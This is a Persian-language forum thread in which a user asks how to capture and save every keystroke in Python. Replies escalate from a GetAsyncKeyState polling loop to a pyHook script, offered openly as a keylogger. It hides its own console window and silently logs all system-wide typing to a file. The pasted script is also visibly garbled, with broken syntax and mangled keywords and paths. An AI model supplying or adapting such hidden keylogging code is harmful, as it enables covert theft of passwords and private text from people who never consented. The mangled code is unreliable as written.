چطور میشه تمام کلیدهای فشرده شده توسط کیبورد رو خوند وجایی ذخیره کرد ؟ (پایتون)
با سلام
چطور میشه تمام کلیدهای فشرده شده توسط کیبورد رو خوند وجایی ذخیره کرد ؟ آیا همچین کلاسی برای این کار توی پایتون وجود داره ؟
نقل قول: چطور میشه تمام کلیدهای فشرده شده توسط کیبورد رو خوند وجایی ذخیره کرد ؟ (پایتون)
سلام
import ctypes
from ctypes.wintypes import *
user32=ctypes.windll.user32
while 1:
try:
for i in range(255):
code=user32.GetAsyncKeyState(i)
if code!=0 & i!=255:
print(i)
except:
pass
نقل قول: چطور میشه تمام کلیدهای فشرده شده توسط کیبورد رو خوند وجایی ذخیره کرد ؟ (پایتون)
ممنون دوست عزیز لطف کردین
میشه یک توضیح مختر در مورد این برنامه بدین ؟ تا من بهتر بفهمم که چطور کار میکنه ؟
چون اجراش کردم ولی نتونستم جوابی بگیرم !!!!
نقل قول: چطور میشه تمام کلیدهای فشرده شده توسط کیبورد رو خوند وجایی ذخیره کرد ؟ (پایتون)
نقل قول:
چون اجراش کردم ولی نتونستم جوابی بگیرم !!!!
منظورتون چیه؟
اگه این کد رو اجرا کنید هر کلیدی رو که فشار بدید کد اسکی اون رو چاپ می کنه براتون
در مورد کد هم از API های ویندوز داره استفاده می کنه
نقل قول: چطور میشه تمام کلیدهای فشرده شده توسط کیبورد رو خوند وجایی ذخیره کرد ؟ (پایتون)
ببینید دوست عزیز من میخوام هر کراکتری که توسط کیبورد فشار داده میشه دقیقا همون همون کاراکتر (مثل a ) دقیقا همین کاراکتر رو بگیرم و بتونم توی یک فایل ذخیره کنم !
منظور من این بود
نقل قول: چطور میشه تمام کلیدهای فشرده شده توسط کیبورد رو خوند وجایی ذخیره کرد ؟ (پایتون)
سلام همهی کلید های فشرده شده تو برنامهی خودت فقط؟ اگه yes همون کد بالا کارت رو راه میندازه کد اسکی رو به کاراکتر مورد نظر تبدیل کن
نقل قول: چطور میشه تمام کلیدهای فشرده شده توسط کیبورد رو خوند وجایی ذخیره کرد ؟ (پایتون)
نقل قول:
نوشته شده توسط
geek1982
سلام همهی کلید های فشرده شده تو برنامهی خودت فقط؟ اگه yes همون کد بالا کارت رو راه میندازه کد اسکی رو به کاراکتر مورد نظر تبدیل کن
نه دوست عزیز !
از زمانی که این برنامه اجرا میشه هر کلیدی و به هر منظوری که فشرده میشه رو میگیرد و ذخیره میکند ... در این صورت راه حلی کسی داره؟
نقل قول: چطور میشه تمام کلیدهای فشرده شده توسط کیبورد رو خوند وجایی ذخیره کرد ؟ (پایتون)
چرا نیست برادر
SetWindowsHookEx
یه هوک سطح پایین می خواد WH_KEYBOARD_LL
نقل قول: چطور میشه تمام کلیدهای فشرده شده توسط کیبورد رو خوند وجایی ذخیره کرد ؟ (پایتون)
دوست عزیز میشه یه کم بیشتر توضیح بدی ؟
نقل قول: چطور میشه تمام کلیدهای فشرده شده توسط کیبورد رو خوند وجایی ذخیره کرد ؟ (پایتون)
سرچ گن عزیز بردار
از pyhook استفاده کن اینم مثال :
نقل قول:
- Download and install the necessary software:
- From the Start menu, select "Python 2.6> PythonWin" to start the editor
- From the menu select "File> New", then choose the "Python Script" and give "OK"
- Paste the following source (attention to indentation)
import WIN32API
import win32console
import win32gui
import pythoncom, pyHook
win32console.GetConsoleWindow win = ()
win32gui.ShowWindow (win, 0)
final OnKeyboardEvent (event):
if event.Ascii == 5:
_exit (1)
if event.Ascii! = 0 or 8:
f = open ( 'c: \ output.txt', 'r')
buffer = f.read ()
f.close ()
f = open ( 'c: \ output.txt', 'w')
keylogs = chr (event.Ascii)
if event.Ascii == 13:
keylogs = '/ n'
buffer + = keylogs
f.write (buffer)
f.close ()
hm = pyHook.HookManager ()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard ()
pythoncom.PumpMessages ()
- Save the file in c: \ as "logger.py," then by PythonWin type CTRL + R: the keylogger will come started in the background and will run until the log file "C: \ output.txt" anything that will typed on the keyboard.